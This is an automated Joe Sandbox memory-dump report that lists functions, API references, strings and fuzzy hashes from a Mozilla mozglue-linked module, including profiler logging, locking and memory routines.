Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 59f95d0b89596dbf9ff233184271c5347ec5745fc57fd991256088a08b00f08d
Instruction ID: be6a32c19e4fee77e9b449c9b98073f82859937aedb527f95055f7582b5a3acf
Opcode Fuzzy Hash: 59f95d0b89596dbf9ff233184271c5347ec5745fc57fd991256088a08b00f08d
Instruction Fuzzy Hash: 0231A471B04205CBCB00DFA9D8589AEB7F5FF99368B250519D92297740DB31E806CFA2

Function 6C989830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9D7ABE), ref: 6C98985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9D7ABE), ref: 6C9898A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C989909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C989918
free.MOZGLUE(?), ref: 6C989975

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 28c3ca6411ee3dafd9b1c6b0689d236c5a08b9c2951efb8b3971dedd1d36ae00
Instruction ID: 747d40dcdbd4169dff14cecb40d57d3b3ad4f389612a42f773a064a6a7f6b249
Opcode Fuzzy Hash: 28c3ca6411ee3dafd9b1c6b0689d236c5a08b9c2951efb8b3971dedd1d36ae00
Instruction Fuzzy Hash: BA718B746067068FC725CF28C480966B7F5FF4A3287654AADE85A8BB90D732F841CB91

Function 6C98B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9CCC83,?,?,?,?,?,?,?,?,?,6C9CBCAE,?,?,6C9BDC2C), ref: 6C98B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9CCC83,?,?,?,?,?,?,?,?,?,6C9CBCAE,?,?,6C9BDC2C), ref: 6C98B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9CCC83,?,?,?,?,?,?,?,?,?,6C9CBCAE), ref: 6C98B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9CCC83,?,?,?,?,?,?,?,?,?,6C9CBCAE,?,?,6C9BDC2C), ref: 6C98B896

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 69e99961dd621e097b735318ad9d043a21f746c03d8cf724aa4908e0c5286ac9
Instruction ID: fc9e6659f619f3e23daf2702d454a6084e3a516025d1a4a1121efc30d904dde1
Opcode Fuzzy Hash: 69e99961dd621e097b735318ad9d043a21f746c03d8cf724aa4908e0c5286ac9
Instruction Fuzzy Hash: 27519F757016008FCB14CF59C894A2AB7F9FF89318F69899DE99A87751C731EC02CB80

Function 6C9C1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9C1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9C1BE3,?,?,6C9C1D96,00000000), ref: 6C9C1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9C1BE3,?,?,6C9C1D96,00000000), ref: 6C9C1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9C1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9C1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9C1DDA

Part of subcall function 6C9C1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9C1F03
Part of subcall function 6C9C1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9C1DF2,00000000,00000000), ref: 6C9C1F0C
Part of subcall function 6C9C1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9C1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9C1DF4

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 85a4464a81ec9c7375ed4e57edb835534f5ee5556db5813f2c75e489a047a4aa
Instruction ID: ad827d8c2d2bb47edac014736ff9af64a86067092275976586647c3d429d911a
Opcode Fuzzy Hash: 85a4464a81ec9c7375ed4e57edb835534f5ee5556db5813f2c75e489a047a4aa
Instruction Fuzzy Hash: 344178B52047059FCB10DF28D488A56BBF9FF99318F20446EE96A87B41CB31E814CB96

Function 6C9838A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9FE220,?,?,?,?,6C983899,?), ref: 6C9838B2
ReleaseSRWLockExclusive.KERNEL32(6C9FE220,?,?,?,6C983899,?), ref: 6C9838C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C983899,?), ref: 6C9838F1
RtlFreeHeap.NTDLL ref: 6C983920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C983899,?), ref: 6C98392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C983899,?), ref: 6C983943
RtlFreeHeap.NTDLL ref: 6C98396E

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: b82f0e5f2b44dbeccf989df0e94a942369779d2c52c4e62e9af861230ffeb200
Instruction ID: 1df31664d03dcda318ba56435d033b506c0633fc975d48b7d8ef021a25edb857
Opcode Fuzzy Hash: b82f0e5f2b44dbeccf989df0e94a942369779d2c52c4e62e9af861230ffeb200
Instruction Fuzzy Hash: FB213272601710DFD721DF25C880B86BBB8FF54328F258869D96A97B00C731E845CB90

Function 6C9B84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B85AC

Part of subcall function 6C9B7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9B85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B767F
Part of subcall function 6C9B7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9B85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B7693
Part of subcall function 6C9B7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9B85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B85B2

Part of subcall function 6C995E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
Part of subcall function 6C995E90: memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
Part of subcall function 6C995E90: LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: fba496d2d5824f33e913c89d6c2b8ee00ef864a96dafd4cc6b35b2ae0fae6bf3
Instruction ID: 27c080f4916804f5934b1731a10b3886e6047451ac083826306b42afb566efeb
Opcode Fuzzy Hash: fba496d2d5824f33e913c89d6c2b8ee00ef864a96dafd4cc6b35b2ae0fae6bf3
Instruction Fuzzy Hash: 49219F74200602AFDB18DF24D888A5BB7B9AF4830DF24482DE55B93B41DB71F949CB55

Function 6C981640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C981699
VerSetConditionMask.NTDLL ref: 6C9816CB
VerSetConditionMask.NTDLL ref: 6C9816D7
VerSetConditionMask.NTDLL ref: 6C9816DE
VerSetConditionMask.NTDLL ref: 6C9816E5
VerSetConditionMask.NTDLL ref: 6C9816EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9816F9

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: ed72ee42de3073f383ab9719bca5b34bfa171a7c577eb398215576ea89b5e5c8
Instruction ID: 5a822f558bb29d954fc9a4b65618aaa664ba947fbb5c69384ad35064987968ed
Opcode Fuzzy Hash: ed72ee42de3073f383ab9719bca5b34bfa171a7c577eb398215576ea89b5e5c8
Instruction Fuzzy Hash: 6C2102B07442086BFB106A649C89FBBB3BCEFD6B04F044928F6559B280D678DD54C7A1

Function 6C9BF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9BF598), ref: 6C9BF621

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

GetCurrentThreadId.KERNEL32 ref: 6C9BF637
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000,?,6C9BF598), ref: 6C9BF645
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000,?,6C9BF598), ref: 6C9BF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9BF62A

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: d5e99b6335be0ca5e5938cb839708c847a87e388955d7ff819c5b0f69201ae8b
Instruction ID: 9d2d90e8387830f8e07ff8a8de2d036f68367697581e79d2d0d81e98a919f014
Opcode Fuzzy Hash: d5e99b6335be0ca5e5938cb839708c847a87e388955d7ff819c5b0f69201ae8b
Instruction Fuzzy Hash: 4E11E779215205FBDB04AF58E9489A677BDFF9635CB200015EA1593F01CB72E821CBA1

Function 6C981FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C981FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C981FFD
__Init_thread_footer.LIBCMT ref: 6C982011
FreeLibrary.KERNEL32 ref: 6C982059

Strings

combase.dll, xrefs: 6C981FD9
CoCreateInstance, xrefs: 6C981FF7

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: ff7c50e05e0cede9b043ce7063337d0de31ebd69d6e36bcdef5217ceeff6449e
Instruction ID: 84a81e6bd1a2754abeff32d1af22aa1c55aa1dd24f7af7d8225cb164bc1a4169
Opcode Fuzzy Hash: ff7c50e05e0cede9b043ce7063337d0de31ebd69d6e36bcdef5217ceeff6449e
Instruction Fuzzy Hash: BD114CB5209205EFEF21CF55E85CEAA3BB9EB86359F304429ED2597A40D731D801CFA1

Function 6C980EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C9AD9F0,00000000), ref: 6C980F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C980F3C
__Init_thread_footer.LIBCMT ref: 6C980F50
FreeLibrary.KERNEL32(?,6C9AD9F0,00000000), ref: 6C980F86

Strings

combase.dll, xrefs: 6C980F18
CoInitializeEx, xrefs: 6C980F36

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d27453032b411df0ac10216f650a1489d9602ab43e89b1a301de00891b56848c
Instruction ID: aacc3e3d94bb9042501022b0741d9cb6be95cddad24f8e5aaaa12d241c67f3cb
Opcode Fuzzy Hash: d27453032b411df0ac10216f650a1489d9602ab43e89b1a301de00891b56848c
Instruction Fuzzy Hash: 1D11A57470B2809BDF01CF59E948E6637F9FB8B329F20862AE92597B40D730E416CB55

Function 6C9BF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BF561

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

GetCurrentThreadId.KERNEL32 ref: 6C9BF577
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BF585
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C9BF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C9BF56A
[I %d/%d] profiler_resume, xrefs: 6C9BF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C9BF3A8

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 579f262a702a88ff4e8e6d2edbf0a1b396e8e9caeca166021ff13b2877a77122
Instruction ID: 62247bd75a0b20a52f757e8ecdd225b4459027381fa0f620fe2b2023aa3fd03c
Opcode Fuzzy Hash: 579f262a702a88ff4e8e6d2edbf0a1b396e8e9caeca166021ff13b2877a77122
Instruction Fuzzy Hash: 14F0B479204204AFEB006F64A84C96A77BDEB9625DF200011EA2593B01CB75C801C7B5

Function 6C9BF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9BF598), ref: 6C9BF621

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

GetCurrentThreadId.KERNEL32 ref: 6C9BF637
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000,?,6C9BF598), ref: 6C9BF645
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000,?,6C9BF598), ref: 6C9BF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9BF62A

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 52a8606c4625c66817d6aaaebf4a57b00215c88c172db2ce7811284919171790
Instruction ID: 5b081dbff38cd1113da9ee27331405471b10428f000e42b5c153be3e2b363c5c
Opcode Fuzzy Hash: 52a8606c4625c66817d6aaaebf4a57b00215c88c172db2ce7811284919171790
Instruction Fuzzy Hash: 91F0B479214204FFEB006F68A84C95A77BDEB9625DF200011EE6593B01CB358C05C7B5

Function 6C980E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C980DF8), ref: 6C980E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C980EA1
__Init_thread_footer.LIBCMT ref: 6C980EB5
FreeLibrary.KERNEL32 ref: 6C980EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C980E9B
kernel32.dll, xrefs: 6C980E7D

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 3227592a0b161eceda19768230862d38dd527a5024b60be2b29072eb31b07fef
Instruction ID: ec249c385a1f498475a78e22111e067e1fb0542f24ac68e899a7cffbd5be740a
Opcode Fuzzy Hash: 3227592a0b161eceda19768230862d38dd527a5024b60be2b29072eb31b07fef
Instruction Fuzzy Hash: 9B01467070A3818BEF008FE8E968A42B7FAF746B1CF281925D93193B41DB74E405CB65

Function 6C9B05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C9ACFAE,?,?,?,6C9731A7), ref: 6C9B05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C9ACFAE,?,?,?,6C9731A7), ref: 6C9B0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9731A7), ref: 6C9B061C
